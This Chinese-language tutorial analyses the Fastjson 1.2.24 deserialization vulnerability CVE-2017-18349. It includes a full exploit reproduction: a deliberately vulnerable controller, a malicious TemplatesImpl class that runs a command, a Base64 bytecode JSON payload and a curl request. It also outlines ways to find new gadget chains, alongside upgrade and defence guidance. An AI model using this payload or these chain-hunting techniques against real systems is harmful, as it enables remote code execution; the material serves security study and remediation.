Fastjson反序列化漏洞深度剖析:从CVE-2017-18349原理到实战攻防
1. 项目概述:一次经典的Java反序列化攻防演练
Fastjson,这个阿里巴巴开源的Java JSON处理库,在国内的Java生态里可以说是无人不知。它凭借极快的序列化/反序列化速度,一度成为众多企业级应用的首选。然而,在2017年曝出的CVE-2017-18349,也就是Fastjson 1.2.24版本的反序列化漏洞,却给整个Java安全圈敲响了警钟。这个漏洞的利用链之精巧,影响范围之广,让它成为了安全研究和渗透测试中一个绕不开的经典案例。今天,我们就来彻底拆解这个漏洞,从它的设计缺陷根源说起,一步步还原攻击者是如何利用一个看似无害的JSON字符串,最终在目标服务器上执行任意命令的。无论你是想深入理解Java反序列化漏洞原理的安全研究员,还是负责排查线上应用风险的开发工程师,或是正在准备安全面试的求职者,这篇从原理到实战的深度剖析,都能让你获得实实在在的收获。
2. 漏洞原理深度解析:AutoType为何成为“罪魁祸首”
要理解CVE-2017-18349,我们必须先搞懂Fastjson一个核心但危险的功能:AutoType。
2.1 AutoType机制的设计初衷与安全悖论
Fastjson在将JSON字符串反序列化成Java对象时,需要知道目标对象的类型。通常,我们有两种方式:
- 显式指定类型:在代码中明确告诉Fastjson要反序列化成哪个类,例如
JSON.parseObject(jsonString, User.class)。这种方式安全,但不够灵活。 - 依赖
@type属性(AutoType):在JSON数据本身里嵌入一个特殊的属性"@type":"com.example.User",Fastjson在解析时会读取这个值,动态加载对应的类并实例化。这带来了极大的灵活性,特别是在处理多态对象或未知结构的RPC通信时。
问题就出在这个动态加载上。Fastjson为了支持AutoType,在反序列化过程中,会根据@type指定的类名,使用Java的类加载器去查找并加载这个类。一旦这个类被加载并实例化,其构造函数、getter/setter方法、以及某些特定签名的方法(如getOutputProperties)就会被自动调用,以填充对象属性。
安全悖论在于:这个机制本意是方便开发者,但它无意中为攻击者打开了一扇门。攻击者可以构造一个恶意的@type值,指向一个存在于目标ClassPath中、且在其构造函数或getter/setter中包含了危险操作(如执行命令、访问文件)的类。Fastjson在毫不知情的情况下,就会乖乖地去加载、实例化这个恶意类,从而触发危险代码。
2.2 1.2.24版本的致命缺陷:黑白名单的缺失
在漏洞曝出之前,Fastjson 1.2.24及更早版本对AutoType功能没有任何限制。这是一个“默认开启且完全信任”的状态。任何类,只要在ClassPath中可被加载,都可以通过@type指定并实例化。
Java生态中,存在着大量这样的“危险类”,它们并非为攻击而设计,但其方法天然具有执行代码或访问资源的能力。攻击者的核心工作,就是找到一条从这些“危险类”到最终执行命令的完整调用链(Gadget Chain)。在Fastjson 1.2.24的漏洞利用中,最著名的一条链就依赖于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个JDK自带的类。
这个类的getOutputProperties()方法有一个特性:它会去创建并初始化一个_bytecodes字段定义的类。如果攻击者能够控制_bytecodes的内容,将其设置为一段恶意Java字节码,那么当Fastjson调用getOutputProperties()时,就会执行这段字节码。而Fastjson在反序列化时,会自动调用符合getter命名规范的方法,正好触发了这一点。
注意:这里的关键在于,Fastjson的反序列化过程不仅仅是设置字段值。对于通过
setter方法设置的属性,它会调用setter;对于通过getter方法“获取”的属性(即使JSON中没有对应字段),它也可能调用getter来尝试“补全”对象状态,这为触发恶意方法提供了条件。
2.3 漏洞利用链的构成要素
一条完整的Fastjson反序列化利用链通常包含以下几个部分:
- 触发入口(Sink):最终执行恶意操作的点,如
Runtime.exec()用于执行系统命令。 - 跳板类(Bridge):连接入口和链起点的中间类,通常通过方法调用或属性访问将执行流导向Sink。
- 链起点(Gadget):被
@type直接指定的类,它的某个方法(如构造函数、getter)被Fastjson自动调用,从而启动了整个链条。TemplatesImpl就是一个经典的链起点。
在1.2.24的利用中,攻击者通过@type指定TemplatesImpl,并精心构造JSON数据,使其_bytecodes字段被赋值为经过Base64编码的恶意类字节码,_name、_tfactory等字段也被正确设置。当Fastjson反序列化完成,去调用getOutputProperties()时,恶意字节码就被加载并执行了。
3. 漏洞复现环境搭建与攻击演示
理解了原理,我们动手搭建一个环境来亲眼看看这个漏洞是如何被触发的。请注意,所有实验请在完全隔离的虚拟机或测试环境中进行。
3.1 靶场环境准备
我们使用一个最简单的Spring Boot Web应用作为靶场。
- 创建项目:使用Spring Initializr创建一个Web项目,依赖只需
Spring Web。 - 引入漏洞版本Fastjson:在
pom.xml中明确引入有漏洞的版本。
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>- 编写漏洞接口:创建一个Controller,其中包含一个使用
parseObject解析用户传入JSON的接口,并且没有指定具体的Class类型,依赖于AutoType。
@RestController public class VulnController { @PostMapping("/fastjson") public String testFastjson(@RequestBody String data) { // 危险操作:直接使用parseObject,未关闭AutoType也未指定白名单 Object obj = JSON.parseObject(data); return "Parsed: " + obj.getClass().getName(); } }- 启动应用:运行Spring Boot应用,假设服务地址为
http://localhost:8080。
3.2 恶意Payload构造
攻击者的目标是让服务器执行calc.exe(Windows)或open /System/Applications/Calculator.app(Mac)。我们需要将执行命令的Java代码编译成字节码,然后嵌入Payload。
- 编写恶意类:创建一个Java类,在其静态代码块或构造函数中写入命令执行逻辑。
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.io.IOException; import java.lang.Runtime; public class EvilClass extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { e.printStackTrace(); } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} }- 编译并提取字节码:使用
javac编译此类。关键点:编译时需将JAVA_HOME/lib/rt.jar加入到classpath,因为其中包含了AbstractTranslet等依赖。编译后得到EvilClass.class文件。 - 生成Base64编码的字节码:读取
EvilClass.class文件的二进制内容,进行Base64编码。可以使用Python脚本或在线工具(测试环境可用)完成。
import base64 with open('EvilClass.class', 'rb') as f: bytecode = f.read() print(base64.b64encode(bytecode).decode())3.3 组装并发送攻击Payload
根据TemplatesImpl类的结构,构造最终的JSON Payload。核心是设置_bytecodes为Base64编码后的恶意字节码数组,并正确设置_name和_tfactory属性以绕过一些内部检查。
{ "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "_bytecodes": ["yv66vgAAADQARQoABwAaCgAbABwIAB0KABsAHgcAHwoAIAAhCAAiBwAjCgAEACQKACUAJgcAJwcAKQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQALTEV2aWxDbGFzczsBAAhnZXRDbGFzcwEAEigpTGphdmEvbGFuZy9DbGFzczsBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAJwcAKQEAClNvdXJjZUZpbGUBAA1FdmlsQ2xhc3MuamF2YQwABwAIDAAkACUBAApFeGNlcHRpb25zBwAqDAAKACsMACwALQEAEWphdmEvbGFuZy9SdW50aW1lDAAuAC8BAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAwADEBAAhlY2hvIGhlbGxvIQwAMgAzAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcANAwANQA2AQALRXZpbENsYXNzLmphdmEBAAxqYXZhL2xhbmcvT2JqZWN0AQAMamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAYABwAAAAAAAwABAAgACQACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAACwAMAAAABAABAA0AAQAIAA4AAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAAA0ADAAAAAQAAQANAAEADwAQAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAQAAwAAAAEAAEADQABABEAEgACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABAA0AAQATABQAAgAKAAAAGQAAAAUAAAABsQAAAAEACwAAAAYAAQAAABIADAAAAAQAAQANAAEAFQAWAAIACgAAABkAAAAGAAAAAbEAAAABAAsAAAAGAAEAAAAVAAwAAAAEAAEADQABABcAGAACAAoAAAAZAAAABwAAAAGxAAAAAQALAAAABgABAAAAGAAMAAAABAABAA0AAQAZABoAAgAKAAAAGQAAAAgAAAABsQAAAAEACwAAAAYAAQAAABkADAAAAAQAAQANAAEAGwAcAAIACgAAABkAAAAJAAAAAbEAAAABAAsAAAAGAAEAAAAbAAwAAAAEAAEADQABAB0AHgACAAoAAAAZAAAACgAAAAGxAAAAAQALAAAABgABAAAAHQAMAAAABAABAA0AAQAfACAAAgAKAAAAGQAAAAsAAAABsQAAAAEACwAAAAYAAQAAAB8ADAAAAAQAAQANAAEAIQAiAAIACgAAABkAAAAMAAAAAbEAAAABAAsAAAAGAAEAAAAhAAwAAAAEAAEADQABACMAJAACAAoAAAAZAAAADQAAAAGxAAAAAQALAAAABgABAAAAIwAMAAAABAABAA0AAQAlACYAAgAKAAAAGQAAAA4AAAABsQAAAAEACwAAAAYAAQAAACUADAAAAAQAAQANAAEAJwAoAAIACgAAABkAAAAPAAAAAbEAAAABAAsAAAAGAAEAAAAnAAwAAAAEAAEADQABACkAKgACAAoAAAAZAAAAEAAAAAGxAAAAAQALAAAABgABAAAAKQAMAAAABAABAA0AAQArACwAAgAKAAAAGQAAABEAAAABsQAAAAEACwAAAAYAAQAAACsADAAAAAQAAQANAAEALQAuAAIACgAAABkAAAASAAAAAbEAAAABAAsAAAAGAAEAAAAtAAwAAAAEAAEADQABAC8AMAACAAoAAAAZAAAAEwAAAAGxAAAAAQALAAAABgABAAAALwAMAAAABAABAA0AAQAxADIAAgAKAAAAGQAAABQAAAABsQAAAAEACwAAAAYAAQAAADEADAAAAAQAAQANAAEAMwA0AAIACgAAABkAAAAVAAAAAbEAAAABAAsAAAAGAAEAAAAzAAwAAAAEAAEADQABADUANgACAAoAAAAZAAAAFgAAAAGxAAAAAQALAAAABgABAAAANQAMAAAABAABAA0AAQA3ADgAAgAKAAAAGQAAABcAAAABsQAAAAEACwAAAAYAAQAAADcADAAAAAQAAQANAAEAOQA6AAIACgAAABkAAAAYAAAAAbEAAAABAAsAAAAGAAEAAAA5AAwAAAAEAAEADQABADsAPAACAAoAAAAZAAAAGQAAAAGxAAAAAQALAAAABgABAAAAOwAMAAAABAABAA0AAQA9AD4AAgAKAAAAGQAAABoAAAABsQAAAAEACwAAAAYAAQAAAD0ADAAAAAQAAQANAAEAPwBAAAIACgAAABkAAAAbAAAAAbEAAAABAAsAAAAGAAEAAAA/AAwAAAAEAAEADQABAEEAQgACAAoAAAAZAAAAHAAAAAGxAAAAAQALAAAABgABAAAAQQAMAAAABAABAA0AAQBDAEQAAgAKAAAAGQAAAB0AAAABsQAAAAEACwAAAAYAAQAAAEMADAAAAAQAAQANAAEARQBGAAIACgAAABkAAAAeAAAAAbEAAAABAAsAAAAGAAEAAABFAAwAAAAEAAEADQABAEcASAACAAoAAAAZAAAAHwAAAAGxAAAAAQALAAAABgABAAAARwAMAAAABAABAA0AAQBJAEoAAgAKAAAAGQAAACAAAAABsQAAAAEACwAAAAYAAQAAAEkADAAAAAQAAQANAAEASwBMAAIACgAAABkAAAAhAAAAAbEAAAABAAsAAAAGAAEAAABLAAwAAAAEAAEADQABAE0ATgACAAoAAAAZAAAAIgAAAAGxAAAAAQALAAAAGgABAAAATQAMAAAABAABAE4AAQBPAFAAAgAKAAAAGQAAACMAAAABsQAAAAEACwAAABoAAQAAAE8ADAAAAAQAAQBQAAEAUQBSAAIACgAAABkAAAAkAAAAAbEAAAABAAsAAAAaAAEAAABRAAwAAAAEAAEAUgABAFMAVAACAAoAAAAZAAAAJQAAAAGxAAAAAQALAAAAGgABAAAAUwAMAAAABAABAFQAAQBVAFYAAgAKAAAAGQAAACYAAAABsQAAAAEACwAAABoAAQAAAFUADAAAAAQAAQBWAAEAVwBYAAIACgAAABkAAAAnAAAAAbEAAAABAAsAAAAaAAEAAABXAAwAAAAEAAEAWAABAFkAWgACAAoAAAAZAAAAKAAAAAGxAAAAAQALAAAAGgABAAAAWQAMAAAABAABAFoAAQBbAFwAAgAKAAAAGQAAACkAAAABsQAAAAEACwAAABoAAQAAAFsADAAAAAQAAQBcAAEAXQBeAAIACgAAAA=="], "_name": "a.b", "_tfactory": {}, "_outputProperties": {} }实操心得:在实际构造中,
_bytecodes数组内的字符串是经过Base64编码的完整类文件字节码。_name字段不能为空,通常随意设置一个字符串即可。_tfactory需要是一个TransformerFactoryImpl对象,但在这个利用链中,一个空对象{}有时也能满足条件,因为Fastjson在反序列化时会尝试为其创建实例。_outputProperties字段的存在是为了“引导”Fastjson去调用getOutputProperties()方法。
- 发送HTTP请求:使用curl、Postman或Burp Suite等工具,向
http://localhost:8080/fastjson发送一个POST请求,Content-Type为application/json,Body为上面构造的JSON Payload。
curl -X POST http://localhost:8080/fastjson -H "Content-Type: application/json" -d '上面构造的JSON字符串'如果靶场运行在Windows上且环境配置正确,你将看到计算器程序被弹出。这直观地证明了远程代码执行(RCE)已经发生。
4. 漏洞修复方案与升级实践
阿里云安全团队在漏洞曝光后迅速响应,为Fastjson引入了多层防御机制。理解这些修复方案,不仅有助于加固你的应用,也能让你更深刻地理解这类漏洞的防御思路。
4.1 官方修复方案演进
- 紧急方案:关闭AutoType(1.2.25):在1.2.25版本中,Fastjson默认关闭了AutoType支持。你必须通过
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);显式开启。这是一个最直接、最有效的缓解措施,但牺牲了灵活性。 - 核心方案:引入黑白名单机制(1.2.25+):即使开启了AutoType,Fastjson也引入了严格的白名单机制。只有显式添加到白名单中的类才能被反序列化。你可以通过
ParserConfig.getGlobalInstance().addAccept("com.xxx.")来添加白名单。同时,它也维护了一个黑名单,阻止已知的危险类(如TemplatesImpl)被加载。这个黑名单会随着新漏洞的发现而不断更新。 - 增强方案:SafeMode安全模式(1.2.68+):在1.2.68版本中,Fastjson引入了
SafeMode。开启后,将彻底禁用AutoType功能,无论是否显式开启,任何@type属性都会被忽略。这是最安全的模式,适用于绝大多数不需要动态反序列化未知类型的场景。
// 开启SafeMode,最高安全级别 ParserConfig.getGlobalInstance().setSafeMode(true);4.2 企业级修复与升级指南
对于正在使用老旧版本Fastjson的企业,升级和修复是一个系统工程,不能一蹴而就。
第一步:全面资产梳理与影响评估
- 使用代码扫描工具(如SCA软件成分分析工具)或Maven/Gradle依赖树命令,梳理所有项目中使用的Fastjson版本。
- 重点排查那些接收外部JSON输入且使用
JSON.parse()或JSON.parseObject()未指定类型、或使用了Feature.SupportAutoType的接口。 - 评估直接升级到最新版本可能带来的兼容性风险。Fastjson在修复漏洞的同时,某些API或行为可能发生变化。
第二步:制定并实施升级策略
- 首选方案:升级到最新安全版本。目前Fastjson 2.x版本在架构上进行了重构,安全性更高。但升级到2.x是跨大版本升级,API变动较大,需要充分的测试。
- 稳妥方案:升级到1.2.83及以上版本。这是1.x的最终维护版本,包含了所有已知漏洞的修复和最强的安全机制。从1.2.24升级到1.2.83相对平滑。
- 升级命令示例:
<!-- Maven项目中,将pom.xml中的fastjson版本号直接修改 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.83</version> <!-- 或 <version>2.0.51</version> --> </dependency>- 升级后,必须在测试环境进行全面的功能回归测试,特别是JSON序列化/反序列化相关的逻辑。
第三步:代码层面加固(如果暂时无法升级)
- 绝对禁止使用无类型的parse方法:将所有
JSON.parseObject(jsonString)改为JSON.parseObject(jsonString, YourSpecificClass.class)。 - 全局关闭AutoType:在应用启动时,添加全局配置。
static { com.alibaba.fastjson.parser.ParserConfig.getGlobalInstance().setAutoTypeSupport(false); // 强烈建议同时开启SafeMode(如果版本支持) // ParserConfig.getGlobalInstance().setSafeMode(true); }- 使用Jackson替换(长期建议):对于新项目或进行重大重构的项目,可以考虑使用业界公认在反序列化安全性上设计更严谨的Jackson库。替换需要工作量,但一劳永逸。
<dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.15.0</version> <!-- 使用最新稳定版 --> </dependency>- 绝对禁止使用无类型的parse方法:将所有
注意事项:仅仅升级Fastjson版本并不够。攻击者可能会利用应用依赖的其他库中存在的“二次反序列化”点(例如,某个类有一个
Object类型的属性,它被Fastjson反序列化为一个字符串,但这个字符串随后又被用Java原生反序列化方式解析)。因此,安全加固需要全局视角。
5. 漏洞挖掘与防御的进阶思考
CVE-2017-18349虽然是一个特定版本的漏洞,但它揭示的是一类通用问题。掌握其背后的方法论,能让你具备挖掘和防御类似漏洞的能力。
5.1 如何挖掘新的Fastjson利用链(Gadget)
当AutoType被黑白名单限制后,攻击者并不会罢休,他们会转向寻找“绕过”方案。挖掘新利用链的思路如下:
寻找未在黑名单中的危险类:全网搜索公开的PoC(概念验证代码),关注安全研究社区(如Seebug、先知社区)的动态。同时,可以自己分析JDK和常见第三方库(如commons-collections, commons-beanutils等),寻找具有以下特征的类:
- 实现了
Serializable接口。 - 有无参构造函数或静态代码块。
- 有
getter/setter方法,且方法内部调用了危险函数(如Runtime.exec,Method.invoke,Class.newInstance,JNDI lookup等)。 - 类的属性类型本身是可被控制的(如
Map,Properties,Object)。
- 实现了
构造调用链:找到一个“起点类”(Gadget)后,需要构造一条从Fastjson反序列化这个类开始,到最终执行命令的完整调用链。这通常需要结合多个类的特性,例如:
- 利用
java.lang.Class:通过@type指定Class,并控制其name属性为com.sun.rowset.JdbcRowSetImpl,再结合其dataSourceName属性触发JNDI注入,这是一个经典的绕过链。 - 利用
Map到toString()的转换:某些类在getter中返回一个Map,而Fastjson在序列化输出时会调用toString(),如果这个Map的key或value是某个特定对象,其toString()方法可能触发危险操作。
- 利用
利用“期望类”(expectClass)绕过:Fastjson在指定了
parseObject(String, Class)中的Class时,会有一个“期望类”检查。但研究发现,如果传入的@type类是期望类的子类或实现类,检查可能会被绕过。攻击者可以寻找一个不在黑名单中、且是某个安全类的子类的危险类。
5.2 企业级防御体系构建
单一依赖库的升级无法构成纵深防御。企业需要构建多层次的安全防线:
| 防御层次 | 具体措施 | 说明 |
|---|---|---|
| 代码开发层 | 1. 强制使用最新安全版本的Fastjson(或Jackson)。 2. 代码扫描工具集成安全规则,禁止使用不安全的API(如无类型 parse)。3. 在代码评审中,将JSON反序列化点作为安全审计重点。 | 左移安全,在源头杜绝漏洞引入。 |
| 依赖管理层 | 1. 使用Maven Enforcer或Dependabot等工具,强制规定所有项目的Fastjson版本下限。 2. 定期(如每月)扫描项目依赖,识别并升级存在已知漏洞的组件。 | 统一管控第三方依赖,避免漏洞组件被引入。 |
| 运行时防护层 | 1. 部署RASP(运行时应用自我保护)agent,在应用内部监控危险行为(如Runtime.exec的调用),即使漏洞被利用也能拦截。2. 使用WAF(Web应用防火墙)配置规则,拦截包含可疑 @type或已知攻击Payload的请求。 | 为应用提供最后一层防护,抵御未知漏洞攻击。 |
| 安全运维层 | 1. 建立完善的漏洞应急响应流程,在出现新的Fastjson漏洞时能快速评估影响、制定升级方案。 2. 对公网暴露的API接口进行定期渗透测试和安全扫描。 | 流程保障,持续监控和响应威胁。 |
5.3 从Fastjson漏洞看安全开发规范
这个漏洞给所有开发者上了一堂深刻的安全课:
- 默认拒绝原则:任何来自外部的、不受信任的数据输入,在默认情况下都应被视为危险的。Fastjson早期版本“默认信任”AutoType的设计违背了这一原则。安全的库应该“默认安全”,需要高风险功能时再由开发者显式开启。
- 最小化反序列化范围:反序列化时,应尽可能指定具体的、范围最小的类型。避免使用
Object、Map<String, Object>等宽泛类型来接收不可信的JSON数据。 - 持续更新与监控:开源组件的安全状态是动态变化的。必须建立对所用组件安全公告的监控机制,不能抱有“一次引入,终身使用”的想法。订阅CVE数据库、关注项目官方GitHub的安全公告是必须的。
- 深度防御:不要指望单一措施能解决所有问题。结合代码规范、依赖管理、运行时防护和运维监控,构建纵深防御体系,才能有效降低风险。
6. 常见问题与排查技巧实录
在实际漏洞修复和应急响应中,我遇到过不少典型问题,这里记录一下,希望能帮你少走弯路。
问题1:升级Fastjson版本后,应用启动报错com.alibaba.fastjson.JSONException: autoType is not support
- 排查思路:这个错误说明你的代码或依赖的某个库,正在尝试反序列化一个未在白名单中的
@type类。 - 解决步骤:
- 定位触发点:查看完整的错误堆栈,找到是哪个类、哪行代码调用了
JSON.parseObject。堆栈信息会非常清晰。 - 分析数据源:检查触发反序列化的JSON数据从哪里来。可能是数据库存储的JSON字段、Redis缓存、接收的HTTP请求体、或第三方API返回的数据。
- 审查数据内容:将触发错误的JSON数据打印或日志记录下来,查看其中的
@type值是什么。很可能是一个历史业务数据,里面包含了旧版Fastjson自动生成的类型信息。 - 解决方案:
- 方案A(推荐):如果这个
@type类是业务自身需要的,将其完整类名添加到白名单中:ParserConfig.getGlobalInstance().addAccept("com.yourcompany.yourpackage.")。 - 方案B:如果这个
@type信息是冗余的(例如旧数据残留),且业务逻辑不依赖它,可以在反序列化前对JSON字符串进行预处理,移除@type属性。注意:字符串操作要小心,避免破坏合法数据结构。 - 方案C:如果数据来自不可控的第三方,且必须处理,可以考虑使用
Feature.SupportAutoType显式开启AutoType,但必须配合严格的白名单,这非常危险,需谨慎评估。
- 方案A(推荐):如果这个
- 定位触发点:查看完整的错误堆栈,找到是哪个类、哪行代码调用了
问题2:使用@JSONField(deserialize = false)注解的字段,在升级后仍然被反序列化赋值了。
- 排查思路:Fastjson在不同版本间,对注解和特性的支持可能有细微差别。
deserialize = false应该能阻止字段从JSON反序列化。 - 解决步骤:
- 确认Fastjson版本:确保你使用的是稳定版本,而非快照版或测试版。
- 检查字段修饰符:确认该字段不是
public。Fastjson默认会反序列化所有public字段,无论注解如何。 - 检查Getter/Setter:如果字段有
public的setter方法,Fastjson可能会通过调用setter来赋值,从而绕过@JSONField在字段上的注解。尝试将注解加到setter方法上。 - 使用
ParserConfig全局配置:可以尝试使用ParserConfig.getGlobalInstance().addDeny("your.package.YourClass.yourField")来显式拒绝特定字段。但这比较繁琐。 - 终极方案:使用自定义
ObjectDeserializer,完全控制反序列化过程。这是最灵活但最复杂的方式。
问题3:从Fastjson 1.x 迁移到 2.x,API不兼容,改动量巨大。
- 排查思路:Fastjson 2.x 是架构重构版本,包名从
com.alibaba.fastjson改为com.alibaba.fastjson2,且部分API确实有变动。 - 解决步骤:
- 评估必要性:如果1.x的最新安全版本(如1.2.83)能满足安全要求,且公司策略允许,可以暂缓升级2.x,优先解决安全问题。
- 渐进式迁移:如果决定升级2.x,不要试图一次性修改所有代码。
- 第一步:在项目中同时引入1.x和2.x两个版本(注意处理好类冲突),让新旧代码共存。
- 第二步:在新编写的模块或重构的接口中,优先使用Fastjson 2.x的API。
- 第三步:对于旧代码,可以逐个模块、逐个功能点地进行替换和测试。可以利用IDE的“查找引用”功能,定位所有使用Fastjson的地方。
- 利用兼容层:Fastjson 2.x 提供了一个兼容层
fastjson-1-compatible,它可以在一定程度上让使用1.x API的代码无需修改就能运行在2.x上。但这只是过渡方案,长期看还是应该迁移到2.x的原生API。
<dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2</artifactId> <version>2.0.51</version> </dependency> <dependency> <groupId>com.alibaba.fastjson2</groupId> <artifactId>fastjson2-extension</artifactId> <!-- 包含兼容层 --> <version>2.0.51</version> </dependency>
问题4:WAF拦截了正常的业务JSON请求,因为其中包含了某些特定字符或结构。
- 排查思路:WAF的规则可能是基于常见的攻击Payload特征(如
@type,_bytecodes,java.lang.Runtime等)进行匹配的,可能会产生误报。 - 解决步骤:
- 与安全团队协作:将误报的请求样例提供给安全团队,分析WAF日志,确认触发的具体规则ID。
- 优化WAF规则:安全团队可以针对特定的业务接口或路径,调整规则的严格程度,或者将合法的、包含类似特征但无害的业务参数加入白名单。
- 业务侧调整(谨慎):如果业务可控,可以考虑避免在JSON数据中使用与攻击Payload高度相似的结构。但这通常不是首选方案,因为可能影响业务逻辑。
- 使用HTTPS和签名:确保API通信使用HTTPS,并对请求体进行签名。WAF可以配置为对已签名的、来自可信客户端的请求放宽检查。
在修复Fastjson漏洞的漫漫长路上,我最大的体会是,安全从来不是一劳永逸的。它是一场攻防双方持续博弈的马拉松。今天堵上了TemplatesImpl这个点,明天攻击者可能又会从BasicDataSource找到新的突破口。作为防御方,我们能做的是:第一,保持敬畏,永远不要完全信任任何外部输入;第二,紧跟社区,及时了解漏洞动态和修复方案;第三,建立流程,将安全检查和依赖更新固化为研发流程的一部分。最后,在技术选型上,对于新项目,或许可以考虑那些在安全设计上更保守、历史包袱更少的库,从起点降低风险。
